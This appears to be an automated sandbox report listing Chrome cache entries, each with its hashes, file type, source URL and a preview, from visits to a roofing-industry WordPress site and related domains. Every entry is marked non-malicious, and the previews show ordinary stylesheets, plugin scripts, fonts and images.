Preview:	.PNG........IHDR.............k.XT....pHYs................rPLTE.....................................puz...................{~....Q.i......'.ENRVn..Z]a...5.Q....8....s.T..4.Sg..}...`IDATx......<...d`f.....+.].j@@P...n.u...$;5.R.0M...._....[r...L}.....!{....6.-.-.OY/.Rj....O>..^..".rz...oYN....;.....@..............j....ASj.["\...."y.n?F}A`..v..I;qr.y.....`1q...,..[(....Ei...bl.re0.........Ld.4..C...T..>{Y......F.H....U.p_.."...:1....t;m.....".7w..Fp.=...~.....o...}...4..;f.o..QJ.....G.../i..%.k~i:.(..T.'p=..'.o.......Q..'...{.@>1..Bt....f.....1..H......7..e.].f_....o....1/N..O.n..\....C..?....Z.....P....W............a.Y..r.....`...3#X..-.......&]........v.Zn..*F.7..2z....U.....~{...i...~.FHy..:.=dn.$.....%..3;..+.N.......+D0.P..@F.?....}.......aQ.B..V.....@z.{~S..WX........././....[....n/.~.]6...... ...59...P.....})...$.....>.dPY.{k.f%.\|...J..7..)..{...W...BxMM.n.<_0....O....l....}h..Q..h...?.te..@.lPq./..3.7tL8KG.~..MB...3....u.I.vf......."....

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2401
Entropy (8bit):	4.890936724610845
Encrypted:	false
SSDEEP:	48:LFzh3d4EM/FrSTDW9C63v93LyXO1zmBBxGOXP:ZzhyrmV63VLyBvGOXP
MD5:	620E82A70F59B7D0A47005C3FDBEF32D
SHA1:	933F427EA6F8D6797B027BED68B906ED30DCA1B5
SHA-256:	1FE185871594718318D046DED6FE347A05A4782EFB45E75A58D948B674600516
SHA-512:	15744F64C722D3C5CF4D37741AE3BD9D73DF72FA244C31384281B5C45B6DC669E2A75ADC9F98B616C52685A41B0C1816CA6382C36B1757BB960F6956FBB79497
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/reset.css?ver=1.0
Preview:	/* http://meyerweb.com/eric/tools/css/reset/ /./ v1.0 \| 20091131 /..html, body, div, span, applet, object, iframe,.h1, h2, h3, h4, h5, h6, p, blockquote, pre,.a, abbr, acronym, address, big, cite, code,.del, dfn, em, font, img, ins, kbd, q, s, samp,.small, strike, strong, tt, var,.b, u, i, center,.dl, dt, dd, ol, ul, li,.fieldset, form, label, legend,.table, caption, tbody, tfoot, thead, tr, th, td {..margin: 0;..padding: 0;..border: 0;..outline: 0;..font-size: 100%;..vertical-align: baseline;..background: transparent;.}.body {..line-height: 1;.}.ol, ul {..list-style: none;.}.blockquote, q {..quotes: none;.}.blockquote:before, blockquote:after,.q:before, q:after {..content: '';..content: none;.}../ remember to define focus styles! /.:focus {..outline: 0;.}../ remember to highlight inserts somehow! /.ins {..text-decoration: none;.}.del {..text-decoration: line-through;.}../ tables still need 'cellspacing="0"' in the markup */.table {..border-collapse: collapse;..border-spacing:

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 40, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	406
Entropy (8bit):	7.212759930426935
Encrypted:	false
SSDEEP:	6:6v/lhPuMNCTMXJWoK+RkvaI2vx+rCwoUIlqfGn51cFs68Mr/Q+gyuB3pysOzJG06:6v/7GMZdCv0+rzNzGnrcy68B7MN9o
MD5:	55ED8D5753A924EF5A5C07035559DE0B
SHA1:	FE692079C75531AC45A3CDB0A7E662FB1294422A
SHA-256:	2BAC22153BCCE91F261F68E54512FDD7572DF2AE553D89B3CF08E8FCE1CCC2E2
SHA-512:	B494EDDEB09333480832D9581D675AF657A7D6D56DC3F17ACFB684B3D2A4313F600756E968C15E180CFD633B06CFA4803A23F00EC64FF399F993372DEC4D5B78
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2022/10/ig.png
Preview:	.PNG........IHDR...(...(...... H_...!PLTE..................................:.)....tRNS..+@[\|....=Q....IDATx... ..Q.....gEV....f.".{#......."...7Z..\#.n...}.B$~.......-?O...yJ..M..!..@..1........-@.....h#.0..-z.D,....#.1...%.G;.....h'^b....v.....}..fP..M..@Y........)..afy.E...hN..w'hL7....o..P.8ba...k........j.p8H0-...M...2.k5.....+..{..3..p.m.h8-..e.A.[[..L;...eY.....^1R1......IEND.B`.

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	374
Entropy (8bit):	4.951458149386554
Encrypted:	false
SSDEEP:	6:U5A9JOqmUDaENrwvJAE93qa4VEC+7A0FXfInjn9vytWq3tVEOUWqmXVwW4VEOUWo:Ue9JOKcvJhxT4uCy3FXfIJatWcuO9XCg
MD5:	73D29ECB3AE4EB2B78712FAB3A46D32D
SHA1:	05EA352AB14CCF04386A4C7D112AD4FEC944D551
SHA-256:	C2711E9EDC60964DCB5AADA1BFA59C2D68D3D9DC1BAF4A5EE058B4C1BD32C3EB
SHA-512:	7623BF487F1BCF2978090AD34D1B316381B69328007B364F20A17016B511BB08735075E32C47877B1450BBB27B5B628A647FD5D87AA670CD77BD42016FEBA78C
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70
Preview:	/.Default style for WP-PageNavi plugin..http://wordpress.org/extend/plugins/wp-pagenavi/./...wp-pagenavi {..clear: both;.}...wp-pagenavi a, .wp-pagenavi span {..text-decoration: none;..border: 1px solid #BFBFBF;..padding: 3px 5px;..margin: 2px;.}...wp-pagenavi a:hover, .wp-pagenavi span.current {..border-color: #000;.}...wp-pagenavi span.current {..font-weight: bold;.}.

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1036
Entropy (8bit):	4.625564598875332
Encrypted:	false
SSDEEP:	24:DCTbalPXG25yFgtemLQerTz8Tz3ag2hmptJkYqjBCK9ncyWYtTWA:eTb+u28weBe/zqeg2hmHOY8CUnpWQWA
MD5:	6F8581ED331175AC934871F30FD3E104
SHA1:	8E0A5AA80CFE4F2FF0670C03FFF5E9296B626F3C
SHA-256:	75FA29ED4B6018A614204AE97DBA4C29991BD14ECCD66189C4870D0449C7C939
SHA-512:	30914F7F7266D87A378EB53427FA6ED9B349AA1C90B357E432521A59673CAEE57941B7C62C5D981F4662EB0ED731614EE32FD191D5EE599E0F2E81324F7AE268
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.tabs.css
Preview:	/* Tabs.----------------------------------/..ui-tabs { padding: .2em; zoom: 1; }..ui-tabs .ui-tabs-nav { list-style: none; position: relative; padding: .2em .2em 0; }..ui-tabs .ui-tabs-nav li { position: relative; float: left; border-bottom-width: 0 !important; margin: 0 .2em -1px 0; padding: 0; }..ui-tabs .ui-tabs-nav li a { float: left; text-decoration: none; padding: .5em 1em; }..ui-tabs .ui-tabs-nav li.ui-tabs-selected { padding-bottom: 1px; border-bottom-width: 0; }..ui-tabs .ui-tabs-nav li.ui-tabs-selected a, .ui-tabs .ui-tabs-nav li.ui-state-disabled a, .ui-tabs .ui-tabs-nav li.ui-state-processing a { cursor: text; }..ui-tabs .ui-tabs-nav li a, .ui-tabs.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-selected a { cursor: pointer; } / first selector in group seems obsolete, but required to overcome bug in Opera applying cursor: text overall if defined elsewhere... */..ui-tabs .ui-tabs-panel { padding: 1em 1.4em; display: block; border-width: 0; background: none; }..ui-tabs .ui-tabs

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	992
Entropy (8bit):	4.9227811183632095
Encrypted:	false
SSDEEP:	24:2WMwiliPsDeEK9ZIgeEUxnK4s244d3e/mCZiPsxREK9ZIiREUxR4s+YII9H:pMwilas5KrI4J4f44d3e/mCZasIKrIvO
MD5:	787FE4F547A6CB7F4CE4934641085910
SHA1:	C2DEE88D5BDFEF214CE9C56F71A1DF51CDA0F328
SHA-256:	654AAEBDEA944313257827BE97EB196A8218A2CDFC9BA399DB23E2CD4C02BD79
SHA-512:	E55A14C83A65DED7853759BD3F7245E57D51062B5434D8D91BEA41551F7B81FFE6DA17BD7DD86029DA2D30CB8A74FFC955B71B137530A19094FC2C3329CDAD13
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/js/vendors/woocommerce-add-to-cart.js?ver=6.1
Preview:	(function ( $ ) {..'use strict';...$( document ).ready( function () {...$( 'body' ).on( 'adding_to_cart', function ( event, $button, data ) {....if ( $button && $button.hasClass( 'vc_gitem-link' ) ) {.....$button.......addClass( 'vc-gitem-add-to-cart-loading-btn' ).......parents( '.vc_grid-item-mini' ).......addClass( 'vc-woocommerce-add-to-cart-loading' ).......append( $( '<div class="vc_wc-load-add-to-loader-wrapper"><div class="vc_wc-load-add-to-loader"></div></div>' ) );....}...} ).on( 'added_to_cart', function ( event, fragments, cart_hash, $button ) {....if ( 'undefined' === typeof ($button) ) {.....$button = $( '.vc-gitem-add-to-cart-loading-btn' );....}....if ( $button && $button.hasClass( 'vc_gitem-link' ) ) {.....$button.......removeClass( 'vc-gitem-add-to-cart-loading-btn' ).......parents( '.vc_grid-item-mini' ).......removeClass( 'vc-woocommerce-add-to-cart-loading' ).......find( '.vc_wc-load-add-to-loader-wrapper' ).remove();....}...} );..} );.})( window.jQuery );.

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 3972x2977, components 3
Category:	dropped
Size (bytes):	914766
Entropy (8bit):	7.974526906039598
Encrypted:	false
SSDEEP:	24576:jv834oX3jRlIVmy/eIXsMSbhCv33AET90/Nocr5l:yPXzcV1/381GwE5WNocr5l
MD5:	502A2697AB4A2616A54CCC8EB3389407
SHA1:	8BBE673D6B897562261EE2B9D09A57572502C53E
SHA-256:	A18E972E7B8894653DD242B119F9D399FA7A73440D17067DD9175B1117F31F09
SHA-512:	F648D96ADE8C20F00C0FB5374EFF4FAA6AB736653B1878BF376948EFAA91742705DD4C243D6A3BA7D3880B2562C00DA7C6AA97CA3A648186339DCE09E79ED65E
Malicious:	false
Reputation:	low
Preview:	......JFIF..............................(.....1#%.(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc......./../cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc..........."..........2....................................................................A........`.................0..&...L...&....@!....4......10.......`&.&....%............`.8......1..................L...........4.......`..... i...0................... b............. b...................................................................... h..................@..Pd..@.X.BB.@.........@...............@.. ...@....@..... .....j...y...`.....L....................`.10...&...10L....2.....&..10.....`&&!.............b`..&...40...h.......&.0@.P0.........L..L..................`..0.......0......b...........................1..1..0C.....M0......1..10.......C.10.......................@.....L...4.....0.............a.H.h.....7...........@.........!................@.&.....&..@...@.hJHI..\.=............`@....`.B..........h...10L......b....`.b.......b..

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 800 x 1000, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21194
Entropy (8bit):	7.807097912879698
Encrypted:	false
SSDEEP:	384:fF5J8IP3egYWHN5KtZ3Y1/rEJEehebJ0boDZWdkr45R8jgocw9:NbTPOhW/AZ3mrEq4CWFH6
MD5:	DF205B5C1D6B0A5B165504FB7A17EC65
SHA1:	DEB18A1C03B4EDE708B15BC5EEED0B2A2D59440B
SHA-256:	10CC8F265C09F7FB101F107A39E3C36701D90027AE4137679FEF5B995C46BE14
SHA-512:	4D83F830F62ADAA89F090686708135C002E19C0EFD67E30F50D4E2D8447AC59C6890314D136037ABEB61817FE90E2208F6CDA8CC10B4E6FB79FB543D3B4E1593
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ...........j.....PLTE..qYW......mRN..~N86................................................................}.{z.stwww~ts.rp.jg~ec{cbvedz_]fffkVShONUUUbNK^KIeGBWA?Z>;\;7DDD]83H?9N:AO86Q52R3/B0.E,)333""".......n5.....tRNS.........,..Q.IDATx.....6....t.GQ.9.9...s...X...H...5K$A.....n[...k%.$..=.x.....d.y......5..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@..@......................................................................................... .....................................................................................................................{..._>...>..............V...D....p.5.L9..@..._.\|.....L..O./....{....:.....T...........O?........Qr]....7d.O.F..^>.._..T@.Y.=....k...?~...o.1..m....@N..E....s.....~..a........~...R.x+.p]..\....y.../.g....q...\..pE.....k.

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53826)
Category:	downloaded
Size (bytes):	53987
Entropy (8bit):	5.083534048709193
Encrypted:	false
SSDEEP:	768:EkZlIbIg6EIXIcIvwO1CA5kiDb3CyQ5xrQe/0STbsysb:EkZVIvwO1CA5kiDb3CyQ5xrQe/0ST4
MD5:	0B9ED7B612DCFE272E83E92398BE1DA5
SHA1:	3A3F2074A297776A05367D0E086E4E72981C3717
SHA-256:	5B518BC060167C79B585AB74260CD0C4CD4EF5E6F7EE2759908EE832731352C4
SHA-512:	4826F4CDAEC885E253E2A6B62C16F6949156209B78B3ACFEF6DEDEECBE92602DF999E0E3BDC71692B741B8AFB09666DB04903D8FBA6F9EF6BE0D79804AA9FAC6
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/animate-css/animate.min.css?ver=6.1
Preview:	@charset "UTF-8";/!.Animate.css - http://daneden.me/animate.Licensed under the MIT license - http://opensource.org/licenses/MIT..Copyright (c) 2014 Daniel Eden./.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.hinge{-webkit-animation-duration:2s;animation-duration:2s}@-webkit-keyframes bounce{0%,100%,20%,53%,80%{-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-transition-timing-function:cubic-bezier(.755,.050,.855,.060);transition-timing-function:cubic-bezier(.755,.050,.855,.060);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-transition-timing-function:cubic-bezier(.755,.050,.855,.060);transition-timing-function:cubic-

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56408)
Category:	downloaded
Size (bytes):	56590
Entropy (8bit):	4.713268371000034
Encrypted:	false
SSDEEP:	768:VYC31sPizPq4/vBUAUHJUkQdR/WMQyYJrX75CsmZQzF:VYTPUC4/pMHGBdcfd7ssjR
MD5:	1756FD00C7017D273A956FD649166247
SHA1:	685ED9C24434B3DAA2E1DCA97A13431BADFD6D63
SHA-256:	5CF48CBE32E33820643123B8852D1FDE7F0BA7D23AA24D5496CE804AC34AF13C
SHA-512:	195112BD3A0BEE52EE96282EAA961616A5D1D70F528ED073902A335A45606192C35A154DF1FE613D39AC4E497B183AC53223EBF189F486C5BD24B01533902117
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1
Preview:	/!. Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:solid .08em #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pul

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	4.520829475849048
Encrypted:	false
SSDEEP:	6:2LGZFbz+UFvqX3yNfb1+22HWjGU9UIifoAMLDNe:28qiaK5/tMoAM3M
MD5:	2A5E09407B9EE5F309390EC090F4DCA9
SHA1:	8249EDA67EDE28AE157585E96A95B6CEE0E740A9
SHA-256:	81C96E1E00234B9D88DFFD0694F42F23BA96DB4D243D0673C3BC776FABA534FC
SHA-512:	DB6464BFD3AE3042AA8DCD3FBE80EF0383A60533992ABB9D9FE520BA8A6875E64063DFFF9743F4FC63260BBE8A7DA3F94FA929B828A653D6F43B192BAAB00C6C
Malicious:	false
Reputation:	low
URL:	https://polo.feathr.co/v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884061150
Preview:	(function (w) {. . . . if (typeof w.feathr === 'function') {. w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab');. }. . .}(window));

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54175), with CRLF line terminators
Category:	downloaded
Size (bytes):	124088
Entropy (8bit):	5.566267126247665
Encrypted:	false
SSDEEP:	1536:5oc4VtA3vbZBXMgtfB7b1MFbvuXRvlvNHOQDgBwv+zcyEg5LsbMU9h91:iP6vbE85J0bvgRvlvPC79sbH1
MD5:	77D9776F4FA870AF7AC85DE7AC6E1858
SHA1:	4A25C883EA07BF9B266BB93C1F51E6A8C38E16A0
SHA-256:	84569C21AAFC5B59C74756C75648DE4C4564F7733BC1128B0F259CA4191EDF77
SHA-512:	FB61FEFC5FB43635610AA53CD6A0338EB1FEA12000A5E5D301083C7AB21285FE31A7CE7FD88A39DAB6E0DD53B45EE09E41AA891E1698365A145194916055C32D
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.0
Preview:	/******************************************...-.THEMEPUNCH TOOLS Ver. 6.0 -... Last Update of Tools 12.02.2019..******************************************/../!.. * @fileOverview TouchSwipe - jQuery Plugin @version 1.6.18 / SANDBOXED VERSION FOR TP.. * @author Matt Bryson http://www.github.com/mattbryson.. * @see https://github.com/mattbryson/TouchSwipe-Jquery-Plugin.. * @see http://labs.rampinteractive.co.uk/touchSwipe/.. * @see http://plugins.jquery.com/project/touchSwipe.. * @license.. * Copyright (c) 2010-2015 Matt Bryson.. * Dual licensed under the MIT or GPL Version 2 licenses... .. /....!function(e){"function"==typeof define&&define.amd&&define.amd.jQuery?define(["jquery"],e):"undefined"!=typeof module&&module.exports?e(require("jquery")):e(jQuery)}(function(ae){"use strict";var ue="left",se="right",ce="up",pe="down",fe="in",he="out",ge="none",de="auto",we="swipe",ve="pinch",Te="tap",ye="doubletap",Ee="longtap",me="horizontal",xe="vertical",be="all",Se=10,Oe="start",M

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1900 x 400, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	26891
Entropy (8bit):	7.92435871491299
Encrypted:	false
SSDEEP:	768:TzOuoMWo3WTbM6BkVVjYHe6RVGNdOwLD2:TxWHTbRBkbiXKMwLD2
MD5:	ECD36B7C141F1C8FBFF37366DFD0BFE9
SHA1:	E121278526DF6D0DDA3AFF269B9319FD9243C415
SHA-256:	54D1775AFCDD215A09297796A5D9564B2DC367DF2DDAC3165C01B4E0A83E3552
SHA-512:	F47B190410786C1CD8C8213E72D16D3901FE2AA0ACE07A84CB8A309129CA7AB10D5C67719A6E8B3EFF359557CD00BA8F3F2A726CB426400A50DEE34F2C189F31
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...l.........U.`.....PLTE...........................................yk.}u}~..^T.g`.jd.TO.]Plih.BBdaa.EDqXR.+;.!3.55.),a=:JFF.."..$t..~..t..l..I..*&'....>....hBIDATx..z.<....nT....j...N!....o=3...SC..k.&..l..h..7.. ....N..A......A...B..A...B..A.`.A..A.-.A..A.-.A......A...B..A...B..A.`.A..A.`.A..A.-.A......A......A.c.........A.............A.=...o.w... ..P.._... ..>R........ ..>R....[.. ....}y.../...l!...?...y......[.. ...l.,.....od....... ..n../.u....-.A.....ma... .....W... ...[... ..L.}..7.... .......\.J....3..l!......W)..Q;.....A.#.v>...J.K...`.B..A..,..3...f... .....v.....,...l!.. .6../..f...s..\..;X...A.t-l.._.`.a.B..A.]`Ks..`.......R.l!.. ....%f3.?..`.B..A.`;.hd.C.m..\|.@.-.A....m...6c[...X...A.t-l.Z4-.O.[... .z@....A.....-.A.......A.......A.`..B..A..l.._.`.A..}...A... ...[... ...a.]...`.A..Aw.-..-..... ...;....?9l}2.I... .zP.&:Q.[.~.\|..H.[.. .!a......>9l5u.t..-.A..e...V..yf.[.. .Qa../.l=`.A..="l..3..s..w.X`... .zH...w.I....b....).

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 242 x 102, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3342
Entropy (8bit):	7.917467486626529
Encrypted:	false
SSDEEP:	96:KC0EtNGGhdIjOf/tJhPfeIE2cvwY3BL7kxxZE:KC0EtNG6+AJYIE2cv/35kxHE
MD5:	5F02BA62D63081F54CF576579EB113F1
SHA1:	1957D481E89444CB3F02C146776498C4C5F069DD
SHA-256:	500D272DF2A6A489AB81E37A0032CFD019E426C58447C386B75DA18F6461073D
SHA-512:	0CCBA0C80DD6821A0211CFE782ED7D01C3D133FACE5A7D2A9785CD8A774993773EB633D4B4340DD9E102FCA304F023452A1866C4B5734923DD704470E9018F43
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......f......A<....EPLTEGpL.........h.....t!........WQ...UUUrrr......111...###AAA.tn..K....8.....tRNS.@..f...wIDATx..[.c...C...4....73...6.^Mv.n...o..8:M....+kaF.m...F.]...Zj.....R._...5...{z....q...O.[5.y.W`..-d.j.B/:...3.f\|...0..O.[..+...`.Z>.#7r..y..y.g...{.7....i`.]....+.O........z...V.N.h.....s...3/...1.`v7F.V....f\.#..-.......`+.w..`.+I.jv.;..:.H......G.%W..^..q.7.=..\..:.\/.&(L)a.@8_..>.....Ah^...>..b#.........p^\|.I\|....:./..<D.........\|Hq...)..p.v.7._..G..2... ...[k]F..`...?#..3w5..m0p.g..rX..M.pl>!@.:....F...zHB..,..5.B.......`..y.]D.,Y./.r$.7G.....u..2.....W.. ~...@.n..3()!\|U.?.[.q..w...yJ.):y4...)..^.........../.....l..#...._...J.....E...GS.!G.z..3....'..$m.e....).jy}.D!.$H.M........q.....\|..6.s.)...<..^....7.....7..M.?.._7<.e.E.^..0,..(\|...{......... . ..j.73...J...F...]._....Y.B..\|..U.4.`d..../..+.x...<...i..Mq.'...n.}y.m.OE.2..~}_+..........7*.....A.]f......H...\|"....r.....:.O\..>.Y..(xw6...[R..

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3832
Entropy (8bit):	4.146213588421641
Encrypted:	false
SSDEEP:	96:xKMZzHCL86LuDkN0NnzlEPVzlyqu2yi+iLMF:xK0ziL86LuDVzMziiLMF
MD5:	45D18F823A9DBBE40C024FF665172C0E
SHA1:	4C19775D89FDDA67661CE8E62C5202BB6E458CFF
SHA-256:	8FFADCD27512BCCFC8C6EE47E8499787FAFA9A4D222BCDB5C958D3B1AC4A00B8
SHA-512:	5944DB313A53C693AC23FB6B81521F5CCC878864E30C53F4B3726DB5B90B584AAA577248C49487BF76603F41DA0D8904649C619622F02EC0037133A9438DEC6F
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/jQueryUIDialogInclude.js
Preview:	var reWhitespace = /^\s+$/..function isWhitespace( s )..{.. return (isEmpty(s) \|\| reWhitespace.test(s));..}.. ..function isEmpty( s )..{ .. return ( ( s == null ) \|\| ( s.length == 0 ) )..}.. ..jQuery( function()..{.. // error dialog.. jQuery('#errorDialog').dialog(.. {.. bgiframe: true,.. autoOpen: false,.. resizable: false,.. modal: true,.. overlay:.. {.. backgroundColor: '#000',.. opacity: 0.5.. },.. buttons:.. {.. OK: function().. {.. jQuery(this).dialog('close');.. }.. }.. });.. .. // alert dialog.. jQuery('#alertDialog').dialog(.. {.. bgiframe: true,.. autoOpen: false,.. resizable: false,.. modal: true,.. overlay:.. {.. backgroundColor: '#000',.. opacity: 0.5.. },.. buttons:.. {.. OK: fun

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1024x751, components 3
Category:	dropped
Size (bytes):	27765
Entropy (8bit):	7.796145789666983
Encrypted:	false
SSDEEP:	768:5I60YfpaG4yFtberKYRnK4O2ID5n/Kv5WEq0DDfxa:r1fpaG4obeLRKLnnXEq0vpa
MD5:	3AF7EDD44072E955F2C8C131EF341BC0
SHA1:	CFD2682F74C12A161C3ADE9014993B1CABCA138C
SHA-256:	9D25A8CCE8B8DB0CDC13BFE3BA111BE72DB718A909F0757F9C1F76DE10CF7E41
SHA-512:	848E60108EA4DA9B7397BACCFE15AC47CD9F3DE852E6207276906D6399361BEF5C0F84F7850D17A75D158DFA710AC7B53DCBB9A230FEAF720763430CF7C3BCC9
Malicious:	false
Reputation:	low
